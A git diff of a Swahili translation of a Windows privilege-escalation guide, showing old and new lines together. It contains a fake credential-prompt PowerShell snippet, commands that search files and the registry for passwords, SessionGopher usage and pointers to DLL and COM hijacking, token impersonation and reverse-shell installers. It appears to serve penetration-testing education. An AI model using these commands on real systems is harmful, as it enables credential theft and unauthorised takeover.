Kipengele kilikuwa kinapatikana hapo awali ambacho kiliruhusu usambazaji wa akaunti za wasimamizi wa ndani za kawaida kwenye kundi la mashine kupitia Mipangilio ya Sera ya Kundi (GPP). Hata hivyo, njia hii ilikuwa na mapungufu makubwa ya usalama. Kwanza, Vitu vya Sera ya Kundi (GPOs), vilivyohifadhiwa kama faili za XML katika SYSVOL, vinaweza kufikiwa na mtumiaji yeyote wa kikoa. Pili, nywila ndani ya hizi GPPs, zilizofichwa kwa AES256 kwa kutumia funguo ya kawaida iliyoorodheshwa hadharani, zinaweza kufichuliwa na mtumiaji yeyote aliyeidhinishwa. Hii ilileta hatari kubwa, kwani inaweza kuruhusu watumiaji kupata haki za juu.
|
||||
|
||||
Ili kupunguza hatari hii, kazi ilitengenezwa kutafuta faili za GPP zilizohifadhiwa kwa ndani zenye uwanja wa "cpassword" ambao si tupu. Punde tu inapo pata faili kama hiyo, kazi hiyo inafichua nywila na kurudisha kitu maalum cha PowerShell. Kitu hiki kinajumuisha maelezo kuhusu GPP na mahali ambapo faili hiyo ipo, kusaidia katika kutambua na kurekebisha udhaifu huu wa usalama.
|
||||
Ili kupunguza hatari hii, kazi ilitengenezwa kutafuta faili za GPP zilizohifadhiwa kwa ndani zenye uwanja wa "cpassword" ambao si tupu. Punde tu inapo pata faili kama hiyo, kazi hiyo inafichua nywila na kurudisha kitu maalum cha PowerShell. Kitu hiki kinajumuisha maelezo kuhusu GPP na mahali pa faili, kusaidia katika kutambua na kurekebisha udhaifu huu wa usalama.
|
||||
|
||||
Tafuta katika `C:\ProgramData\Microsoft\Group Policy\history` au katika _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (kabla ya W Vista)_ kwa ajili ya faili hizi:
|
||||
|
||||
@ -1052,7 +1054,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
|
||||
```
|
||||
### Omba taarifa za kuingia
|
||||
|
||||
Unaweza kila wakati **kuomba mtumiaji aingize taarifa zake za kuingia au hata taarifa za mtumiaji mwingine** ikiwa unadhani anaweza kujua hizo (zingatia kwamba **kuomba** mteja moja kwa moja kwa **taarifa za kuingia** ni hatari sana):
|
||||
Unaweza kila wakati **kuomba mtumiaji aingize taarifa zake za kuingia au hata taarifa za mtumiaji mwingine** ikiwa unafikiri anaweza kujua hizo (zingatia kwamba **kuomba** mteja moja kwa moja kwa **taarifa za kuingia** ni hatari sana):
|
||||
```bash
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
@ -1150,12 +1152,12 @@ reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
|
||||
reg query "HKCU\Software\TightVNC\Server"
|
||||
reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
```
|
||||
[**Toa funguo za openssh kutoka kwa rejista.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
[**Toa funguo za openssh kutoka kwenye rejista.**](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
### Historia ya Vivinjari
|
||||
|
||||
Unapaswa kuangalia kwa dbs ambapo nywila kutoka **Chrome au Firefox** zimehifadhiwa.\
|
||||
Pia angalia historia, alama na vipendwa vya vivinjari ili labda baadhi ya **nywila zimehifadhiwa** huko.
|
||||
Pia angalia historia, alama na vipendwa vya vivinjari hivyo huenda baadhi ya **nywila zimehifadhiwa** hapo.
|
||||
|
||||
Zana za kutoa nywila kutoka kwa vivinjari:
|
||||
|
||||
@ -1164,17 +1166,17 @@ Zana za kutoa nywila kutoka kwa vivinjari:
|
||||
- [**SharpChromium**](https://github.com/djhohnstein/SharpChromium)
|
||||
- [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)
|
||||
|
||||
### **Kufuta COM DLL**
|
||||
### **Kuandika Upya COM DLL**
|
||||
|
||||
**Component Object Model (COM)** ni teknolojia iliyojengwa ndani ya mfumo wa uendeshaji wa Windows inayoruhusu **mawasiliano** kati ya vipengele vya programu za lugha tofauti. Kila kipengele cha COM kinatambuliwa kupitia kitambulisho cha darasa (CLSID) na kila kipengele kinatoa kazi kupitia interface moja au zaidi, zinazotambuliwa kupitia vitambulisho vya interface (IIDs).
|
||||
**Component Object Model (COM)** ni teknolojia iliyojengwa ndani ya mfumo wa uendeshaji wa Windows inayoruhusu **mawasiliano** kati ya vipengele vya programu za lugha tofauti. Kila kipengele cha COM kinatambulishwa kupitia kitambulisho cha darasa (CLSID) na kila kipengele kinatoa kazi kupitia interface moja au zaidi, zinazotambulishwa kupitia kitambulisho cha interface (IIDs).
|
||||
|
||||
Darasa na interfaces za COM zin defined katika rejista chini ya **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** na **HKEY\_**_**CLASSES\_**_**ROOT\Interface** mtawalia. Rejista hii inaundwa kwa kuunganisha **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
|
||||
Darasa na interface za COM zin defined katika rejista chini ya **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** na **HKEY\_**_**CLASSES\_**_**ROOT\Interface** mtawalia. Rejista hii inaundwa kwa kuunganisha **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
|
||||
|
||||
Ndani ya CLSIDs za rejista hii unaweza kupata rejista ya mtoto **InProcServer32** ambayo ina **thamani ya kawaida** inayoelekeza kwenye **DLL** na thamani inayoitwa **ThreadingModel** ambayo inaweza kuwa **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single au Multi) au **Neutral** (Thread Neutral).
|
||||
|
||||
.png>)
|
||||
|
||||
Kimsingi, ikiwa unaweza **kufuta yoyote ya DLLs** ambazo zitatekelezwa, unaweza **kuinua mamlaka** ikiwa hiyo DLL itatekelezwa na mtumiaji tofauti.
|
||||
Kimsingi, ikiwa unaweza **kuandika upya yoyote ya DLLs** ambazo zitatekelezwa, unaweza **kuinua mamlaka** ikiwa hiyo DLL itatekelezwa na mtumiaji tofauti.
|
||||
|
||||
Ili kujifunza jinsi washambuliaji wanavyotumia COM Hijacking kama njia ya kudumu angalia:
|
||||
|
||||
@ -1190,7 +1192,7 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
|
||||
findstr /si password *.xml *.ini *.txt *.config
|
||||
findstr /spin "password" *.*
|
||||
```
|
||||
**Tafuta faili yenye jina fulani**
|
||||
**Tafuta faili lenye jina fulani**
|
||||
```bash
|
||||
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
|
||||
where /R C:\ user.txt
|
||||
@ -1203,13 +1205,13 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /K
|
||||
REG QUERY HKLM /F "password" /t REG_SZ /S /d
|
||||
REG QUERY HKCU /F "password" /t REG_SZ /S /d
|
||||
```
|
||||
### Tools that search for passwords
|
||||
### Zana ambazo zinatafuta nywila
|
||||
|
||||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **ni plugin ya msf** niliunda plugin hii ili **kutekeleza kiotomati kila moduli ya POST ya metasploit inayotafuta akidi** ndani ya mwathirika.\
|
||||
[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **ni plugin ya msf** niliyounda plugin hii ili **kutekeleza kiotomati kila moduli ya POST ya metasploit inayotafuta nywila** ndani ya mwathirika.\
|
||||
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) inatafuta kiotomati faili zote zinazokuwa na nywila zilizotajwa katika ukurasa huu.\
|
||||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) ni chombo kingine kizuri cha kutoa nywila kutoka kwa mfumo.
|
||||
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) ni zana nyingine nzuri ya kutoa nywila kutoka kwa mfumo.
|
||||
|
||||
Chombo [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) kinatafuta **sessions**, **majina ya watumiaji** na **nywila** za zana kadhaa zinazohifadhi data hii kwa maandiko wazi (PuTTY, WinSCP, FileZilla, SuperPuTTY, na RDP)
|
||||
Zana [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) inatafuta **sessions**, **majina ya watumiaji** na **nywila** za zana kadhaa ambazo huhifadhi data hii kwa maandiko wazi (PuTTY, WinSCP, FileZilla, SuperPuTTY, na RDP)
|
||||
```bash
|
||||
Import-Module path\to\SessionGopher.ps1;
|
||||
Invoke-SessionGopher -Thorough
|
||||
@ -1218,8 +1220,8 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
```
|
||||
## Leaked Handlers
|
||||
|
||||
Fikiria kwamba **mchakato unaotembea kama SYSTEM unafungua mchakato mpya** (`OpenProcess()`) kwa **ufikiaji kamili**. Mchakato huo huo **pia unaunda mchakato mpya** (`CreateProcess()`) **kwa ruhusa za chini lakini unarithi handles zote za wazi za mchakato mkuu**.\
|
||||
Kisha, ikiwa una **ufikiaji kamili kwa mchakato wa chini wa ruhusa**, unaweza kuchukua **handle wazi kwa mchakato wa ruhusa ulioanzishwa** na `OpenProcess()` na **kuingiza shellcode**.\
|
||||
Fikiria kwamba **mchakato unaotembea kama SYSTEM unafungua mchakato mpya** (`OpenProcess()`) kwa **ufikiaji kamili**. Mchakato huo huo **pia unaunda mchakato mpya** (`CreateProcess()`) **kwa ruhusa za chini lakini unarithi handles zote zilizofunguliwa za mchakato mkuu**.\
|
||||
Kisha, ikiwa una **ufikiaji kamili kwa mchakato wa chini wa ruhusa**, unaweza kuchukua **handle iliyofunguliwa kwa mchakato wa ruhusa** ulioanzishwa na `OpenProcess()` na **kuingiza shellcode**.\
|
||||
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
|
||||
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
|
||||
|
||||
@ -1227,7 +1229,7 @@ Kisha, ikiwa una **ufikiaji kamili kwa mchakato wa chini wa ruhusa**, unaweza ku
|
||||
|
||||
Sehemu za kumbukumbu zilizoshirikiwa, zinazoitwa **pipes**, zinawezesha mawasiliano ya mchakato na uhamasishaji wa data.
|
||||
|
||||
Windows inatoa kipengele kinachoitwa **Named Pipes**, kinachoruhusu michakato isiyo na uhusiano kushiriki data, hata kupitia mitandao tofauti. Hii inafanana na usanifu wa mteja/server, ambapo majukumu yanafafanuliwa kama **named pipe server** na **named pipe client**.
|
||||
Windows inatoa kipengele kinachoitwa **Named Pipes**, kinachowezesha michakato isiyo na uhusiano kushiriki data, hata kupitia mitandao tofauti. Hii inafanana na usanifu wa mteja/server, ambapo majukumu yanafafanuliwa kama **named pipe server** na **named pipe client**.
|
||||
|
||||
Wakati data inatumwa kupitia pipe na **mteja**, **server** iliyoweka pipe ina uwezo wa **kuchukua utambulisho** wa **mteja**, ikiwa ina haki zinazohitajika za **SeImpersonate**. Kutambua **mchakato wa ruhusa** unaowasiliana kupitia pipe unayoweza kuiga kunatoa fursa ya **kupata ruhusa za juu** kwa kukubali utambulisho wa mchakato huo mara tu unapoingiliana na pipe uliyounda. Kwa maelekezo juu ya kutekeleza shambulio kama hilo, mwongozo wa kusaidia unaweza kupatikana [**here**](named-pipe-client-impersonation.md) na [**here**](#from-high-integrity-to-system).
|
||||
|
||||
@ -1299,7 +1301,7 @@ Unaweza kupata faili zote muhimu na taarifa katika hazina ifuatayo ya GitHub:
|
||||
|
||||
https://github.com/jas502n/CVE-2019-1388
|
||||
|
||||
## Kutoka kwa Kiwango cha Usimamizi wa Kati hadi Kiwango cha Juu cha Uaminifu / UAC Bypass
|
||||
## Kutoka kwa Kiwango cha Msimamizi wa Kati hadi Juu / UAC Bypass
|
||||
|
||||
Soma hii ili **ujifunze kuhusu Viwango vya Uaminifu**:
|
||||
|
||||
@ -1324,8 +1326,8 @@ sc start newservicename
|
||||
```
|
||||
### AlwaysInstallElevated
|
||||
|
||||
Kutoka kwa mchakato wa High Integrity unaweza kujaribu **kuwezesha AlwaysInstallElevated registry entries** na **kufunga** shell ya kurudi kwa kutumia _**.msi**_ wrapper.\
|
||||
[Maelezo zaidi kuhusu funguo za registry zinazohusika na jinsi ya kufunga pakiti ya _.msi_ hapa.](#alwaysinstallelevated)
|
||||
Kutoka kwa mchakato wa High Integrity unaweza kujaribu **kuwezesha viingilio vya AlwaysInstallElevated kwenye rejista** na **kufunga** shell ya kurudi kwa kutumia _**.msi**_ wrapper.\
|
||||
[Maelezo zaidi kuhusu funguo za rejista zinazohusika na jinsi ya kufunga pakiti ya _.msi_ hapa.](#alwaysinstallelevated)
|
||||
|
||||
### High + SeImpersonate privilege to System
|
||||
|
||||
@ -1333,19 +1335,19 @@ Kutoka kwa mchakato wa High Integrity unaweza kujaribu **kuwezesha AlwaysInstall
|
||||
|
||||
### From SeDebug + SeImpersonate to Full Token privileges
|
||||
|
||||
Ikiwa una hizo haki za token (labda utaona hii katika mchakato wa High Integrity tayari), utaweza **kufungua karibu mchakato wowote** (michakato isiyo na ulinzi) kwa kutumia haki ya SeDebug, **kunakili token** ya mchakato, na kuunda **mchakato wowote na token hiyo**.\
|
||||
Kutumia mbinu hii kawaida **huchaguliwa mchakato wowote unaotembea kama SYSTEM na haki zote za token** (_ndiyo, unaweza kupata michakato ya SYSTEM bila haki zote za token_).\
|
||||
Ikiwa una hizo haki za tokeni (labda utaweza kuzipata katika mchakato wa High Integrity), utaweza **kufungua karibu mchakato wowote** (sio mchakato uliohifadhiwa) kwa kutumia haki ya SeDebug, **kunakili tokeni** ya mchakato, na kuunda **mchakato wowote na tokeni hiyo**.\
|
||||
Kutumia mbinu hii kawaida **huchaguliwa mchakato wowote unaotembea kama SYSTEM na haki zote za tokeni** (_ndiyo, unaweza kupata mchakato za SYSTEM bila haki zote za tokeni_).\
|
||||
**Unaweza kupata** [**mfano wa msimbo unaotekeleza mbinu iliyopendekezwa hapa**](sedebug-+-seimpersonate-copy-token.md)**.**
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
Mbinu hii inatumika na meterpreter ili kupandisha hadhi katika `getsystem`. Mbinu hii inajumuisha **kuunda bomba na kisha kuunda/kutumia huduma kuandika kwenye bomba hilo**. Kisha, **server** iliyounda bomba hilo kwa kutumia haki ya **`SeImpersonate`** itakuwa na uwezo wa **kujifanya kuwa token** ya mteja wa bomba (huduma) ikipata haki za SYSTEM.\
|
||||
Mbinu hii inatumika na meterpreter ili kupandisha hadhi katika `getsystem`. Mbinu hii inajumuisha **kuunda bomba na kisha kuunda/kutumia huduma kuandika kwenye bomba hilo**. Kisha, **server** iliyounda bomba hilo kwa kutumia haki ya **`SeImpersonate`** itakuwa na uwezo wa **kujifanya tokeni** ya mteja wa bomba (huduma) ikipata haki za SYSTEM.\
|
||||
Ikiwa unataka [**kujifunza zaidi kuhusu bomba za jina unapaswa kusoma hii**](#named-pipe-client-impersonation).\
|
||||
Ikiwa unataka kusoma mfano wa [**jinsi ya kutoka kwa high integrity hadi System kwa kutumia bomba za jina unapaswa kusoma hii**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
|
||||
### Dll Hijacking
|
||||
|
||||
Ikiwa unafanikiwa **kudhibiti dll** inayopakiwa na **mchakato** unaotembea kama **SYSTEM** utaweza kutekeleza msimbo wowote kwa kutumia ruhusa hizo. Hivyo basi, Dll Hijacking pia ni muhimu kwa aina hii ya kupandisha hadhi, na, zaidi ya hayo, ni **rahisi zaidi kufikia kutoka kwa mchakato wa high integrity** kwani itakuwa na **ruhusa za kuandika** kwenye folda zinazotumika kupakia dlls.\
|
||||
Ikiwa unafanikiwa **kudhibiti dll** inayopakiwa na **mchakato** unaotembea kama **SYSTEM** utaweza kutekeleza msimbo wowote kwa kutumia ruhusa hizo. Hivyo, Dll Hijacking pia ni muhimu kwa aina hii ya kupandisha hadhi, na zaidi, ikiwa ni rahisi **zaidi kufikia kutoka kwa mchakato wa high integrity** kwani itakuwa na **ruhusa za kuandika** kwenye folda zinazotumika kupakia dlls.\
|
||||
**Unaweza** [**kujifunza zaidi kuhusu Dll hijacking hapa**](dll-hijacking/index.html)**.**
|
||||
|
||||
### **From Administrator or Network Service to System**
|
||||
@ -1369,25 +1371,25 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
**PS**
|
||||
|
||||
[**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
|
||||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Angalia makosa ya usanidi na faili nyeti (**[**angalia hapa**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Imepatikana.**\
|
||||
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Angalia makosa ya usanidi na faili nyeti (**[**angalia hapa**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Imegundulika.**\
|
||||
[**JAWS**](https://github.com/411Hall/JAWS) **-- Angalia makosa kadhaa ya usanidi na kukusanya taarifa (**[**angalia hapa**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
|
||||
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Angalia makosa ya usanidi**\
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Inatoa taarifa za kikao zilizohifadhiwa za PuTTY, WinSCP, SuperPuTTY, FileZilla, na RDP. Tumia -Thorough katika ndani.**\
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Inatoa akidi kutoka kwa Meneja wa Akidi. Imepatikana.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Piga nywila zilizokusanywa kwenye domain**\
|
||||
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Inatoa taarifa za kikao zilizohifadhiwa za PuTTY, WinSCP, SuperPuTTY, FileZilla, na RDP. Tumia -Thorough katika eneo.**\
|
||||
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Inatoa taarifa za kuingia kutoka kwa Meneja wa Taarifa. Imegundulika.**\
|
||||
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Piga nywila zilizokusanywa kwenye kikoa**\
|
||||
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh ni zana ya PowerShell ADIDNS/LLMNR/mDNS/NBNS spoofer na man-in-the-middle.**\
|
||||
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Uainishaji wa msingi wa privesc Windows**\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Tafuta udhaifu wa privesc unaojulikana (DEPRECATED kwa Watson)\
|
||||
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Tafuta udhaifu wa privesc uliojulikana (DEPRECATED kwa Watson)\
|
||||
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Ukaguzi wa ndani **(Inahitaji haki za Admin)**
|
||||
|
||||
**Exe**
|
||||
|
||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Tafuta udhaifu wa privesc unaojulikana (inahitaji kukusanywa kwa kutumia VisualStudio) ([**imekusanywa awali**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Tafuta udhaifu wa privesc uliojulikana (inahitaji kukusanywa kwa kutumia VisualStudio) ([**imekusanywa awali**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Inatafuta mwenyeji akitafuta makosa ya usanidi (zaidi ni zana ya kukusanya taarifa kuliko privesc) (inahitaji kukusanywa) **(**[**imekusanywa awali**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Inatoa akidi kutoka kwa programu nyingi (exe iliyokusanywa awali katika github)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Inatoa taarifa za kuingia kutoka kwa programu nyingi (exe iliyokusanywa awali katika github)**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port ya PowerUp kwa C#**\
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Angalia makosa ya usanidi (executable iliyokusanywa katika github). Haipendekezwi. Haifanyi kazi vizuri katika Win10.\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Angalia makosa ya usanidi yanayoweza kutokea (exe kutoka python). Haipendekezwi. Haifanyi kazi vizuri katika Win10.
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Angalia makosa ya usanidi (executable iliyokusanywa awali katika github). Haipendekezwi. Haifanyi kazi vizuri katika Win10.\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Angalia makosa yanayoweza kutokea (exe kutoka python). Haipendekezwi. Haifanyi kazi vizuri katika Win10.
|
||||
|
||||
**Bat**
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user